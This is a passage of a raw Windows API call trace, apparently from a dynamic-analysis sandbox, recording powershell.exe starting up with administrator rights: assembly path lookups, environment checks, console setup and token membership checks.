lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e658, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.897] GetLastError () returned 0xcb [0058.902] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e658, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0058.902] GetLastError () returned 0xcb [0058.947] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x14e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0058.947] GetLastError () returned 0x2 [0058.947] SetErrorMode (uMode=0x1) returned 0x1 [0058.947] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x14ea94 | out: lpFileInformation=0x14ea94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0058.947] GetLastError () returned 0x2 [0058.947] SetErrorMode (uMode=0x1) returned 0x1 [0059.102] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e6a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.102] GetLastError () returned 0x0 [0059.102] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e658, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.102] GetLastError () returned 0x0 [0059.103] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e658, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.103] GetLastError () returned 0x0 [0059.106] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.106] GetLastError () returned 0xcb [0059.109] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.109] GetLastError () returned 0xcb [0059.109] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.109] GetLastError () returned 0xcb [0059.112] CoCreateGuid (in: pguid=0x14eb74 | out: pguid=0x14eb74*(Data1=0xf9b161d8, Data2=0x9f4, Data3=0x47d7, Data4=([0]=0xb5, [1]=0x80, [2]=0x9c, [3]=0x92, [4]=0x6c, [5]=0x7c, [6]=0x5, [7]=0x21))) returned 0x0 [0059.117] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.117] GetLastError () returned 0xcb [0059.119] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.119] GetLastError () returned 0xcb [0059.120] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.120] GetLastError () returned 0xcb [0059.128] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0059.128] GetLastError () returned 0x0 [0059.130] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x14ea54 | out: lpConsoleScreenBufferInfo=0x14ea54) returned 1 [0059.131] GetLastError () returned 0x0 [0059.134] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0059.135] GetLastError () returned 0x0 [0059.135] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x14ea54 | out: lpConsoleScreenBufferInfo=0x14ea54) returned 1 [0059.135] GetLastError () returned 0x0 [0059.135] GetVersionExW (in: lpVersionInformation=0x257290*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x257290*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0059.135] GetLastError () returned 0x0 [0059.137] GetCurrentProcess () returned 0xffffffff [0059.137] GetLastError () returned 0x3f0 [0059.138] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x14ea64 | out: TokenHandle=0x14ea64*=0x344) returned 1 [0059.138] GetLastError () returned 0x3f0 [0059.142] GetTokenInformation (in: TokenHandle=0x344, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x14eabc | out: TokenInformation=0x0, ReturnLength=0x14eabc) returned 0 [0059.142] GetLastError () returned 0x7a [0059.143] GetTokenInformation (in: TokenHandle=0x344, TokenInformationClass=0x8, TokenInformation=0x27f7a8, TokenInformationLength=0x4, ReturnLength=0x14eabc | out: TokenInformation=0x27f7a8, ReturnLength=0x14eabc) returned 1 [0059.143] GetLastError () returned 0x7a [0059.144] DuplicateTokenEx (in: hExistingToken=0x344, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x14ea74 | out: phNewToken=0x14ea74*=0x33c) returned 1 [0059.144] GetLastError () returned 0x7f [0059.144] GetTokenInformation (in: TokenHandle=0x344, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x14eabc | out: TokenInformation=0x0, ReturnLength=0x14eabc) returned 0 [0059.144] GetLastError () returned 0x7a [0059.144] GetTokenInformation (in: TokenHandle=0x344, TokenInformationClass=0x8, TokenInformation=0x27f788, TokenInformationLength=0x4, ReturnLength=0x14eabc | out: TokenInformation=0x27f788, ReturnLength=0x14eabc) returned 1 [0059.144] GetLastError () returned 0x7a [0059.144] CheckTokenMembership (in: TokenHandle=0x33c, SidToCheck=0x2ac0b34*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x14ea50 | out: IsMember=0x14ea50) returned 1 [0059.145] GetLastError () returned 0x7a [0059.145] CloseHandle (hObject=0x33c) returned 1 [0059.145] GetLastError () returned 0x7a [0059.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e564, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.145] GetLastError () returned 0x7a [0059.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.145] GetLastError () returned 0x7a [0059.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.145] GetLastError () returned 0x7a [0059.145] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.145] GetLastError () returned 0x7a [0059.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e564, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.180] GetLastError () returned 0x7a [0059.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.180] GetLastError () returned 0x7a [0059.180] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e514, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.180] GetLastError () returned 0x7a [0059.187] GetConsoleTitleW (in: lpConsoleTitle=0x257a38, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0059.187] GetLastError () returned 0x7a [0059.209] GetConsoleTitleW (in: lpConsoleTitle=0x257a38, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0059.209] GetLastError () returned 0x7a [0059.209] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e55c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.209] GetLastError () returned 0x7a [0059.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.210] GetLastError () returned 0x7a [0059.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e50c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.210] GetLastError () returned 0x7a [0059.213] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0059.214] GetLastError () returned 0x7a [0059.215] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e594, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.215] GetLastError () returned 0x7a [0059.215] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.215] GetLastError () returned 0x7a [0059.215] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.215] GetLastError () returned 0x7a [0059.215] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.215] GetLastError () returned 0x7a [0059.249] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e594, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e594, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e544, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e558, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e558, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.250] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x14e558, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0059.250] GetLastError () returned 0x7a [0059.305] SetConsoleCtrlHandler (HandlerRoutine=0x29e384a, Add=1) returned 1 [0059.305] GetLastError () returned 0x7a [0059.330] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x33c [0059.330] GetLastError () returned 0x0 [0059.331] CoCreateGuid (in: pguid=0x14ea88 | out: pguid=0x14ea88*(Data1=0xc3be16de, Data2=0xe910, Data3=0x4e8c, Data4=([0]=0x9c, [1]=0x19, [2]=0x5a, [3]=0x3e, [4]=0xcc, [5]=0x89, [6]=0x40, [7]=0x22))) returned 0x0 [0059.359] WinSqmIsOptedIn () returned 0x0 [0059.360] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.360] GetLastError () returned 0xcb [0059.362] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.362] GetLastError () returned 0xcb [0059.363] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.363] GetLastError () returned 0xcb [0059.363] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.363] GetLastError () returned 0xcb [0059.363] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.363] GetLastError () returned 0xcb [0059.364] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.364] GetLastError () returned 0xcb [0059.365] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.365] GetLastError () returned 0xcb [0059.365] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.365] GetLastError () returned 0xcb [0059.368] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.368] GetLastError () returned 0xcb [0059.382] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.382] GetLastError () returned 0xcb [0059.384] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.384] GetLastError () returned 0xcb [0059.384] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x257278, nSize=0x80 | out: lpBuffer="") returned 0x0 [0059.384] GetLastError () returned 0xcb [0059.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.657] GetLastError () returned 0xcb [0059.657] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.657] GetLastError () returned 0xcb [0059.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.658] GetLastError () returned 0xcb [0059.658] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.658] GetLastError () returned 0xcb [0059.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.709] GetLastError () returned 0x3 [0059.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.709] GetLastError () returned 0x3 [0059.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e290, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.709] GetLastError () returned 0x3 [0059.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x14e2e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0059.709] GetLastError () returned 0x3 [0059.709] GetFullPathNameW (in: 